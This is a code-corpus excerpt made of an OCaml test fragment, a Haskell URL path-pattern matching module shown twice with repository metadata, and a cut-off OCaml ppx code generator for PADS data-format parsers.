] ~expected:["a0", "a1"] ~should_fail:true;
test "simple case: no pairs" [
real "b0" [];
stub "b1" [];
] ~expected:[];
test "simple case: still no pairs" [
real "c0" [];
stub "c1" ["c2"];
] ~expected:[];
test "stubs only" [
stub "d0" [];
stub "d1" ["d0"];
] ~expected:[];
test "impl only" [
real "e0" [];
real "e1" ["e0"];
] ~expected:[];
test "impl can be aliased as well" [
real "f0" ["f1"];
stub "f1" [];
] ~expected:["f1", "f0"];
test "many aliases" [
real "g0" ["g1"; "g2"];
stub "g1" [];
] ~expected:["g1", "g0"];
test "ambiguous impl" [
real "h0" ["h1"; "h2"];
stub "h1" [];
stub "h2" [];
] ~expected:[
"h1", "h0";
"h2", "h0";
];
test "ambiguous stubs" [
real "i0" [];
stub "i1" ["i0"];
stub "i2" ["i0"];
] ~expected:[
"i1", "i0";
"i2", "i0";
];
test "crossreference" [
real "j0" ["j1"];
stub "j1" ["j0"];
] ~expected:["j1", "j0"];
test "many pairs" [
real "k0" [];
real "k1" [];
real "k2" [];
stub "k3" ["k0"];
stub "k4" ["k1"];
stub "k5" ["k2"];
] ~expected:[
"k3", "k0";
"k4", "k1";
"k5", "k2";
];
test "several intersections 1" [
stub "m0" ["m2"; "m3"; "m4"];
real "m1" ["m0"];
stub "m5" ["m6"; "m7"; "m8"];
real "m6" ["m5"; "m9"];
real "m9" ["m10"];
stub "m10" [];
] ~expected:[
"m0", "m1";
];
test "several intersections 2" [
stub "n0" ["n1"; "n2"; "n3"];
real "n1" [];
real "n4" ["n5"];
stub "n5" [];
real "n6" [];
stub "n7" ["n6"];
real "n8" ["n1"; "n5"]
] ~expected:["n7", "n6"];
test "several intersections 3" [
stub "p0" ["p1"; "p2"; "p3"];
stub "p4" ["p5"; "p6"; "p7"];
real "p5" [];
stub "p6" ["p8"; "p9"; "p10"; "p4"];
real "p11" ["p12"; "p13"; "p1"];
] ~expected:[
"p0", "p11";
"p4", "p5";
"p6", "p5";
];
]
| |
9ea371a2bc8f8e798f23366d3c1f8b58e19f4519ddde05e30e09138949234e3d | KMahoney/kuljet | PathPattern.hs | module Kuljet.PathPattern where
import qualified Data.Map as M
import qualified Data.Maybe as Maybe
import qualified Data.Text as T
import Kuljet.Symbol
data Path =
Path { pathSegments :: [PathSegment] }
deriving (Show)
data PathSegment
= PathMatch T.Text
| PathVar Symbol
deriving (Show)
type PathVars = M.Map Symbol T.Text
toText :: Path -> T.Text
toText (Path []) = "/"
toText (Path segments) =
T.concat (map (("/" <>) . segText) segments)
where
segText = \case
PathMatch text -> text
PathVar (Symbol sym) -> ":" <> sym
pathVars :: Path -> [Symbol]
pathVars (Path segments) =
Maybe.mapMaybe symName segments
where
symName =
\case
PathVar sym -> Just sym
_ -> Nothing
matchPath :: Path -> [T.Text] -> Maybe PathVars
matchPath (Path matchSegments) givenSegments =
matches M.empty matchSegments givenSegments
where
matches :: M.Map Symbol T.Text -> [PathSegment] -> [T.Text] -> Maybe (M.Map Symbol T.Text)
matches matchValues [] [] = Just matchValues
matches _ _ [] = Nothing
matches _ [] _ = Nothing
matches matchValues (m : ms) (s : ss) =
case m of
PathMatch text ->
if text == s
then matches matchValues ms ss
else Nothing
PathVar sym ->
matches (M.insert sym s matchValues) ms ss
| null | https://raw.githubusercontent.com/KMahoney/kuljet/01e32aefd9e59a914c87bde52d5d6660bdea283d/kuljet/src/Kuljet/PathPattern.hs | haskell | module Kuljet.PathPattern where
import qualified Data.Map as M
import qualified Data.Maybe as Maybe
import qualified Data.Text as T
import Kuljet.Symbol
data Path =
Path { pathSegments :: [PathSegment] }
deriving (Show)
data PathSegment
= PathMatch T.Text
| PathVar Symbol
deriving (Show)
type PathVars = M.Map Symbol T.Text
toText :: Path -> T.Text
toText (Path []) = "/"
toText (Path segments) =
T.concat (map (("/" <>) . segText) segments)
where
segText = \case
PathMatch text -> text
PathVar (Symbol sym) -> ":" <> sym
pathVars :: Path -> [Symbol]
pathVars (Path segments) =
Maybe.mapMaybe symName segments
where
symName =
\case
PathVar sym -> Just sym
_ -> Nothing
matchPath :: Path -> [T.Text] -> Maybe PathVars
matchPath (Path matchSegments) givenSegments =
matches M.empty matchSegments givenSegments
where
matches :: M.Map Symbol T.Text -> [PathSegment] -> [T.Text] -> Maybe (M.Map Symbol T.Text)
matches matchValues [] [] = Just matchValues
matches _ _ [] = Nothing
matches _ [] _ = Nothing
matches matchValues (m : ms) (s : ss) =
case m of
PathMatch text ->
if text == s
then matches matchValues ms ss
else Nothing
PathVar sym ->
matches (M.insert sym s matchValues) ms ss
| |
30492ca2f070fb5d922cf0baa4247557e7f2da0fcfd5417607fb5ec8de7a5da5 | padsproj/opads | ppx_pads_lib.ml | open Asttypes
open Parsetree
open Pads_types
open Ast_helper
open Utility
(* Helper functions *)
let rec check_uniticity (past : pads_node ast) : bool =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst (PFRE _)
| Ppred _
| Plist _
| Precord _
| Pdatatype _ -> false
| Pconst _ -> true
| Ptuple (p1,p2) -> check_uniticity p1 && check_uniticity p2
| Pvar x ->
if Hashtbl.mem padsUnitTbl x
then Hashtbl.find padsUnitTbl x
else raise_loc_err loc (Printf.sprintf "Pads description %s not defined" x)
let rec listify_tuple (past : pads_node ast) : pads_node ast list =
let (e,loc) = get_NaL past in
match e with
| Ptuple (p1,p2) -> p1 :: (listify_tuple p2)
| _ -> [past]
let pf_converter (loc : loc) : pads_fixed -> Parsetree.expression = function
| PFInt n -> [%expr PTI [%e exp_make_int loc n]][@metaloc loc]
| PFStr s -> [%expr PTS [%e exp_make_string loc s]][@metaloc loc]
| PFRE s -> [%expr PTRE [%e exp_make_ocaml loc s]][@metaloc loc]
| PFEOF -> [%expr PTEOF][@metaloc loc]
(* Main functions *)
let rec parse_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint -> [%expr PadsParser.parse_int][@metaloc loc]
| Pfloat -> [%expr PadsParser.parse_float][@metaloc loc]
| Pstring t -> [%expr PadsParser.parse_pstring [%e pf_converter loc t]][@metaloc loc]
| Pconst (PFRE re) -> [%expr PadsParser.parse_regex [%e exp_make_ocaml loc re]][@metaloc loc]
| Pconst t -> [%expr PadsParser.parse_string [%e pf_converter loc t]][@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_parse_s_name x)
| Ppred(x,past,cond) ->
let repp,mdp = (pat_make_var loc x),(pat_make_var loc (pads_md_name x)) in
let repe,mde = (exp_make_ident loc x),(exp_make_ident loc (pads_md_name x)) in
[%expr (fun state ->
let ([%p repp],[%p mdp],state) = [%e parse_gen past] state in
if [%e exp_make_ocaml loc cond]
then ([%e repe],[%e mde],state)
else
let this_md = [%e mde] in
([%e repe],
{this_md with
pads_num_errors = this_md.pads_num_errors + 1;
pads_error_msg = "Predicate failure" :: this_md.pads_error_msg;
}, state)
)][@metaloc loc]
| Plist(past,sep,term) ->
[%expr PadsParser.parse_list [%e parse_gen past] [%e pf_converter loc sep] [%e pf_converter loc term]][@metaloc loc]
| Precord(rlist) ->
let named_rlist = List.filter (fun re ->
match re with
| Unnamed _ -> false
| Named _ -> true
) rlist
in
let named_rlist = List.map (fun re ->
match re with
| Unnamed _ -> raise_loc_err loc "Precord parsing: Filter didn't work properly."
| Named (x,past) -> (x,past)
) named_rlist
in
let rep_assgn = List.map (fun (lbli,_) -> lbli,lbli) named_rlist in
let md_assgn = List.map (fun (lbli,_) -> (pads_md_name lbli),(pads_md_name lbli)) named_rlist in
let numErr = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_num_errors"] + [%e acc]][@metaloc loc]
) ([%expr rest_md.pads_num_errors][@metaloc loc]) named_rlist
in
let errMsg = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_error_msg"] @ [%e acc] ][@metaloc loc]
) ([%expr rest_md.pads_error_msg][@metaloc loc]) named_rlist
in
let extra = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_md_name lbli) "pads_extra"] @ [%e acc] ][@metaloc loc]
) ([%expr rest_md.pads_extra][@metaloc loc]) named_rlist
in
let init_exp =
[%expr let (r,m) =
([%e exp_make_record_s loc rep_assgn],
{ pads_num_errors = [%e numErr];
pads_error_msg = [%e errMsg];
pads_data = [%e exp_make_record_s loc md_assgn] ;
pads_extra = [%e extra] })
in (r,m,state)][@metaloc loc]
in
let final_exp =
List.fold_right
(fun re acc ->
match re with
| Unnamed past ->
[%expr let (this,this_md,state) = [%e parse_gen past] state in
let rest_md =
{ pads_num_errors = rest_md.pads_num_errors + this_md.pads_num_errors;
pads_error_msg = rest_md.pads_error_msg @ this_md.pads_error_msg;
pads_data = ();
pads_extra = rest_md.pads_extra @ this_md.pads_extra }
in
[%e acc]
][@metaloc loc]
| Named (x,past) ->
let names = [%pat? ([%p pat_make_var loc x],[%p pat_make_var loc (pads_md_name x)],state)][@metaloc loc] in
[%expr let [%p names] = [%e parse_gen past] state in
[%e acc]][@metaloc loc]
)
rlist init_exp
in
[%expr (fun state ->
let rest_md = Pads.empty_md () in
[%e final_exp]
)][@metaloc loc]
| Pdatatype vlist ->
let nvlist = List.map (fun (name,past) -> (name,parse_gen past)) vlist in
let split_list l =
match List.rev l with
| [] -> raise_loc_err loc "Parse_gen: Should be impossible for a datatype to not have any variants"
| hd :: tl -> (hd,List.rev tl)
in
let ((name,e),nvlist) = split_list nvlist in
let init =
[%expr let (rep,md,ns) = [%e e] state in
([%e exp_make_construct loc ~exp:(exp_make_ident loc "rep") name],
{ md with pads_data = [%e exp_make_construct loc ~exp:(exp_make_ident loc "md") (pads_md_name name)]},
ns)][@metaloc loc]
in
let final_exp =
List.fold_right (fun (name,e) acc ->
[%expr let (rep,md,ns) = [%e e] state in
if md.pads_num_errors = 0
then
([%e exp_make_construct loc ~exp:(exp_make_ident loc "rep") name],
{ md with pads_data = [%e exp_make_construct loc ~exp:(exp_make_ident loc "md") (pads_md_name name)]},
ns)
else [%e acc]][@metaloc loc]
) nvlist init
in
[%expr (fun state ->
[%e final_exp]
)][@metaloc loc]
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
let exp =
if b1 && b2 (* Both are unit type *)
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
((),
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = ();
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
else if b1 (* Only p1 is unit type *)
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
(rep2,
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = md2.pads_data;
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
else if b2 (* Only p2 is unit type *)
then
[%expr
let (rep1,md1,state) = [%e parse_gen p1] state in
let (rep2,md2,state) = [%e parse_gen p2] state in
(rep1,
{pads_num_errors = md1.pads_num_errors + md2.pads_num_errors;
pads_error_msg = md1.pads_error_msg @ md2.pads_error_msg;
pads_data = md1.pads_data;
pads_extra = md1.pads_extra @ md2.pads_extra;
},
state)
][@metaloc loc]
else (* Neither are unit type, so we don't wanna throw away either *)
let rec aggreg name op n =
let agg = aggreg name op in
if n > 1
then [%expr [%e op] [%e agg (n-1)] [%e exp_make_field_n loc (Printf.sprintf "md%d" n) name]][@metaloc loc]
else exp_make_field_n loc (Printf.sprintf "md%d" n) name
in
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not (check_uniticity p)) plist in
let rep = exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "rep%d" n) tlist in
let md =
[%expr
{ pads_num_errors = [%e aggreg "pads_num_errors" ([%expr (+) ][@metaloc loc]) (List.length plist)];
pads_error_msg = [%e aggreg "pads_error_msg" ([%expr (@)][@metaloc loc]) (List.length plist)];
pads_data = [%e exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "md%d" n) tlist];
pads_extra = [%e aggreg "pads_extra" ([%expr (@)][@metaloc loc]) (List.length plist)];
}][@metaloc loc]
in
let init =
[%expr
([%e rep],[%e md],state)][@metaloc loc]
in
List.fold_right (fun (past,n) acc ->
let names = [%pat? ([%p pat_make_var loc @@ Printf.sprintf "rep%d" n],
[%p pat_make_var loc @@ Printf.sprintf "md%d" n],
state)][@metaloc loc]
in
[%expr let [%p names] = [%e parse_gen past] state in
[%e acc]][@metaloc loc]
) plist init
in
[%expr (fun state ->
[%e exp]
)][@metaloc loc]
let rec default_rep_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint -> [%expr 0]
| Pfloat -> [%expr 0.0]
| Pstring _ -> [%expr ""]
| Pconst (PFRE re) ->
[%expr match [%e exp_make_ocaml loc re] with
| RE _ -> ""
| REd (_,d) -> d][@metaloc loc]
| Pconst _ -> [%expr ()] [@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_default_rep_name x)
| Ppred (_,past,_) -> default_rep_gen past
| Precord(rlist) ->
let fields =
List.fold_right (fun re fields ->
match re with
| Unnamed _ -> fields
| Named (x,past) -> (x,default_rep_gen past) :: fields) rlist []
in
if fields = []
then [%expr ()] [@metaloc loc]
else exp_make_record loc fields
| Plist(past,_,t) ->
begin
match t with
| PFInt n ->
let def = default_rep_gen past in
let rec gen_default n =
if n <= 0 then [%expr []][@metaloc loc]
else [%expr [%e def] :: [%e gen_default (n-1)]][@metaloc loc]
in
gen_default n
| _ -> [%expr []][@metaloc loc]
end
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then [%expr ()][@metaloc loc]
else if b1 (* Only p1 is unit type *)
then default_rep_gen p2
else if b2 (* Only p2 is unit type *)
then default_rep_gen p1
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let elist = List.map default_rep_gen plist in
exp_make_tup loc elist
| Pdatatype vlist ->
match vlist with
| (name,past)::_ -> exp_make_construct loc ~exp:(default_rep_gen past) name
| [] -> raise_loc_err loc "default_rep_gen: Should be impossible for a datatype to not have any variants"
let rec default_md_gen (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [%expr Pads.empty_md ()][@metaloc loc]
| Pvar x -> exp_make_ident loc (pads_default_md_name x)
| Ppred (_,past,_) -> default_md_gen past
| Precord(rlist) ->
let fields =
List.fold_right (fun re fields ->
match re with
| Unnamed _ -> fields
| Named (x,past) -> (pads_md_name x,default_md_gen past) :: fields) rlist []
in
if fields = []
then [%expr Pads.empty_md ()] [@metaloc loc]
else [%expr Pads.empty_md [%e exp_make_record loc fields]][@metaloc loc]
| Plist(past,_,t) ->
begin
match t with
| PFInt n ->
let def = default_md_gen past in
let rec gen_default n =
if n <= 0 then [%expr []][@metaloc loc]
else [%expr [%e def] :: [%e gen_default (n-1)]][@metaloc loc]
in
[%expr Pads.empty_md ([%e gen_default n])][@metaloc loc]
| _ -> [%expr Pads.empty_md []][@metaloc loc]
end
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then [%expr Pads.empty_md ()][@metaloc loc]
else if b1 (* Only p1 is unit type *)
then default_md_gen p2
else if b2 (* Only p2 is unit type *)
then default_md_gen p1
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let elist = List.map default_md_gen plist in
[%expr Pads.empty_md [%e exp_make_tup loc elist]][@metaloc loc]
| Pdatatype vlist ->
match vlist with
| (name,past)::_ -> [%expr Pads.empty_md [%e exp_make_construct loc ~exp:(default_md_gen past) (pads_md_name name)]][@metaloc loc]
| [] -> raise_loc_err loc "default_rep_gen: Should be impossible for a datatype to not have any variants"
let rec pads_rep_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint -> [], [%type: int][@metaloc loc]
| Pfloat -> [], [%type : float][@metaloc loc]
| Pstring _
| Pconst (PFRE _) -> [], [%type: string] [@metaloc loc]
| Pconst _ -> [], [%type: unit] [@metaloc loc]
| Ppred (_,past,_) -> pads_rep_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_rep_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_rep_type_gen past in
(decli,[%type: [%t typi] list][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_rep_type_gen past in
let fieldi = typ_make_field loc x typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], typ_make_constr loc name)
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_rep_type_gen past in
let constr = typ_make_variant loc name ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], typ_make_constr loc name)
| Ptuple(p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then [], [%type: unit] [@metaloc loc]
else if b1 (* Only p1 is unit type *)
then pads_rep_type_gen p2
else if b2 (* Only p2 is unit type *)
then pads_rep_type_gen p1
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_rep_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,typ_make_tup loc tlist
let rec pads_mani_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [], [%type: unit Pads.padsManifest][@metaloc loc]
| Ppred (_,past,_) -> pads_mani_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_manifest_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_mani_type_gen past in
(decli,[%type: ([%t typi] list) Pads.padsManifest][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_mani_type_gen past in
let fieldi = typ_make_field loc (pads_manifest_name x) typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit Pads.padsManifest][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], [%type: [%t typ_make_constr loc name] Pads.padsManifest ][@metaloc loc])
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_mani_type_gen past in
let constr = typ_make_variant loc (pads_manifest_name name) ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], [%type: [%t typ_make_constr loc name] Pads.padsManifest][@metaloc loc])
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then [], [%type: unit Pads.padsManifest] [@metaloc loc]
else if b1 (* Only p1 is unit type *)
then pads_mani_type_gen p2
else if b2 (* Only p2 is unit type *)
then pads_mani_type_gen p1
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_mani_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,[%type: [%t typ_make_tup loc tlist] Pads.padsManifest]
let rec pads_md_type_gen (past : pads_node ast) : (type_declaration list * core_type) =
let (e,loc) = get_NaL past in
match e with
| Pint
| Pfloat
| Pstring _
| Pconst _ -> [], [%type: unit Pads.pads_md][@metaloc loc]
| Ppred (_,past,_) -> pads_md_type_gen past
| Pvar(vname) -> [], typ_make_constr loc (pads_md_name vname)
| Plist(past,_,_) ->
let decli,typi = pads_md_type_gen past in
(decli,[%type: ([%t typi] list) Pads.pads_md ][@metaloc loc])
| Precord (rlist) ->
let decls,fields =
List.fold_right (fun re (decls,fields) ->
match re with
| Unnamed _ -> (decls,fields)
| Named (x,past) ->
let decli, typi = pads_md_type_gen past in
let fieldi = typ_make_field loc (pads_md_name x) typi in
(decli@decls, fieldi::fields)) rlist ([],[])
in
if fields = []
then decls,[%type: unit Pads.pads_md][@metaloc loc]
else
let name = fresh () in
let recType = typ_make_type_decl loc ~kind:(Ptype_record fields) name in
(decls @ [recType], [%type: [%t typ_make_constr loc name] Pads.pads_md ][@metaloc loc])
| Pdatatype vlist ->
let decls,clist = List.fold_right (fun (name,past) (decls, clist) ->
let decli, typi = pads_md_type_gen past in
let constr = typ_make_variant loc (pads_md_name name) ~args:(Pcstr_tuple [typi]) in
decli@decls,constr::clist
) vlist ([],[])
in
let name = fresh () in
let vdecl = typ_make_type_decl loc ~kind:(Ptype_variant clist) name in
(decls @ [vdecl], [%type: [%t typ_make_constr loc name] Pads.pads_md][@metaloc loc])
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then [], [%type: unit Pads.pads_md] [@metaloc loc]
else if b1 (* Only p1 is unit type *)
then pads_md_type_gen p2
else if b2 (* Only p2 is unit type *)
then pads_md_type_gen p1
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.filter (fun p -> not @@ check_uniticity p) plist in
let (dlist,tlist) = List.fold_right (fun past (dlist,tlist) ->
let d1,t1 = pads_md_type_gen past in
(d1 @ dlist),(t1::tlist)
) plist ([],[])
in
dlist,[%type: [%t typ_make_tup loc tlist] Pads.pads_md]
let rec pads_to_string (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
let exp =
match e with
| Pint -> [%expr Buffer.add_string buf @@ string_of_int rep][@metaloc loc]
| Pfloat -> [%expr Buffer.add_string buf @@ string_of_float rep][@metaloc loc]
| Pstring (PFStr s) -> [%expr Buffer.add_string buf rep; Buffer.add_string buf [%e exp_make_string loc s]][@metaloc loc]
| Pstring (PFRE re) -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pstring _ -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pconst (PFInt n) -> [%expr Buffer.add_string buf [%e exp_make_string loc (string_of_int n)]][@metaloc loc]
| Pconst (PFStr s) -> [%expr Buffer.add_string buf [%e exp_make_string loc s]][@metaloc loc]
| Pconst (PFRE _) -> [%expr Buffer.add_string buf rep][@metaloc loc]
| Pconst PFEOF -> [%expr ()][@metaloc loc]
| Ppred (_,past,_) -> [%expr [%e pads_to_string past] buf (rep,md)][@metaloc loc]
| Pvar(vname) -> [%expr [%e exp_make_ident loc (pads_to_buffer_name vname)] buf (rep,md)][@metaloc loc]
| Plist(past,sep,term) ->
let s = match term with
| PFEOF
| PFInt _ -> exp_make_string loc ""
| PFRE re -> default_rep_gen @@ mk_ast loc (Pconst (PFRE re))
| PFStr s -> exp_make_string loc s
in
[%expr PadsParser.list_to_buf [%e pads_to_string past] [%e pf_converter loc sep] buf (rep,md.pads_data);
Buffer.add_string buf [%e s]][@metaloc loc]
| Precord (rlist) ->
List.fold_right (fun re acc ->
match re with
| Unnamed past ->
let loc = get_loc past in
[%expr [%e pads_to_string past] buf ([%e default_rep_gen past],[%e default_md_gen past]);
[%e acc]][@metaloc loc]
| Named (x,past) ->
let loc = get_loc past in
[%expr [%e pads_to_string past] buf
([%e exp_make_field_n loc "rep" x],[%e exp_make_field loc (exp_make_field_n loc "md" "pads_data") (pads_md_name x)]);
[%e acc]][@metaloc loc]
) rlist [%expr ()][@metaloc loc]
| Pdatatype vlist ->
let failCase =
{pc_lhs = Pat.any ~loc ();
pc_guard = None;
pc_rhs = [%expr failwith "PADS Error: Rep and metadata type don't match for loaded pdatatype"][@metaloc loc]}
in
let clist =
List.fold_right (fun (name,past) acc ->
{pc_lhs = [%pat? ([%p pat_make_construct loc ~pat:(pat_make_var loc "rep") name],
[%p pat_make_construct loc ~pat:(pat_make_var loc "md") (pads_md_name name)])][@metaloc loc];
pc_guard = None;
pc_rhs = [%expr [%e pads_to_string past] buf (rep,md)][@metaloc loc] ;
} :: acc
) vlist [failCase]
in
exp_make_match loc ([%expr (rep,md.pads_data)][@metaloc loc]) clist
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
if b1 && b2 (* Both are unit type *)
then
[%expr [%e pads_to_string p1] buf ((),[%e default_md_gen p1]);
[%e pads_to_string p2] buf ((),[%e default_md_gen p2])
][@metaloc loc]
else if b1 (* Only p1 is unit type *)
then
[%expr [%e pads_to_string p1] buf ((),[%e default_md_gen p1]);
[%e pads_to_string p2] buf (rep,md)
][@metaloc loc]
else if b2 (* Only p2 is unit type *)
then
[%expr [%e pads_to_string p1] buf (rep,md);
[%e pads_to_string p2] buf ((),[%e default_md_gen p2])
][@metaloc loc]
else (* Neither are unit type, so we don't wanna throw away either *)
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not @@ check_uniticity p) plist in
let repT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "rep%d" n) tlist in
let mdT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "md%d" n) tlist in
let exp =
List.fold_right (fun (past,n) acc ->
if check_uniticity past
then
[%expr [%e pads_to_string past] buf ((),[%e default_md_gen past]);
[%e acc]][@metaloc loc]
else
[%expr [%e pads_to_string past] buf ([%e exp_make_ident loc @@ Printf.sprintf "rep%d" n],
[%e exp_make_ident loc @@ Printf.sprintf "md%d" n]);
[%e acc]][@metaloc loc]
) plist @@ [%expr ()][@metaloc loc]
in
[%expr let ([%p repT],[%p mdT]) = (rep,md.pads_data) in
[%e exp]
][@metaloc loc]
in
[%expr (fun buf (rep,md) -> [%e exp])][@metaloc loc]
let rec pads_manifest (past : pads_node ast) : Parsetree.expression =
let (e,loc) = get_NaL past in
let exp =
match e with
| Pint -> [%expr Pads.make_mani (string_of_int rep) ()][@metaloc loc]
| Pfloat -> [%expr Pads.make_mani (string_of_float rep) ()][@metaloc loc]
| Pstring (PFStr s) -> [%expr Pads.make_mani (rep ^ [%e exp_make_string loc s]) ()][@metaloc loc]
| Pstring (PFRE re) -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Pstring _ -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Pconst (PFInt n) -> [%expr Pads.make_mani [%e exp_make_string loc (string_of_int n)] ()][@metaloc loc]
| Pconst (PFStr s) -> [%expr Pads.make_mani [%e exp_make_string loc s] ()][@metaloc loc]
| Pconst PFEOF -> [%expr Pads.make_mani "" ()][@metaloc loc]
| Pconst (PFRE _) -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Ppred (_,past,_) -> [%expr [%e pads_manifest past] (rep,md)][@metaloc loc]
| Pvar(vname) -> [%expr [%e exp_make_ident loc (pads_manifest_name vname)] (rep,md)][@metaloc loc]
| Plist(past,sep,term) ->
let s = match term with
| PFEOF
| PFInt _ -> exp_make_string loc ""
| PFRE re -> default_rep_gen @@ mk_ast loc (Pconst (PFRE re))
| PFStr s -> exp_make_string loc s
in
[%expr
let m = List.map [%e pads_manifest past] (List.combine rep md.pads_data) in
let buf = Buffer.create 1024 in
let _ = PadsParser.list_to_buf (fun buf (m,_) -> Buffer.add_string buf m.pads_str) [%e pf_converter loc sep] buf (m,m) in
let _ = Buffer.add_string buf [%e s] in
let s = Buffer.contents buf in
let errList = List.concat (List.map (fun m -> m.pads_man_errors) m) in
{ pads_man_errors = errList;
pads_str = s;
pads_manifest = m;
}][@metaloc loc]
| Precord (rlist) ->
let named_rlist = List.filter (fun re ->
match re with
| Unnamed _ -> false
| Named _ -> true
) rlist
in
let named_rlist = List.map (fun re ->
match re with
| Unnamed _ -> raise_loc_err loc "Precord manifest: Filter didn't work properly."
| Named (x,past) -> (x,past)
) named_rlist
in
let mani_assgn = List.map (fun (lbli,_) -> (pads_manifest_name lbli),(pads_manifest_name lbli)) named_rlist in
let errMsg = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_manifest_name lbli) "pads_man_errors"] @ [%e acc] ][@metaloc loc]
) ([%expr []][@metaloc loc]) named_rlist
in
let end_exp =
[%expr
{ pads_man_errors = [%e errMsg];
pads_str = Buffer.contents buf;
pads_manifest = [%e exp_make_record_s loc mani_assgn]}][@metaloc loc]
in
let final_exp =
List.fold_right (fun re acc ->
match re with
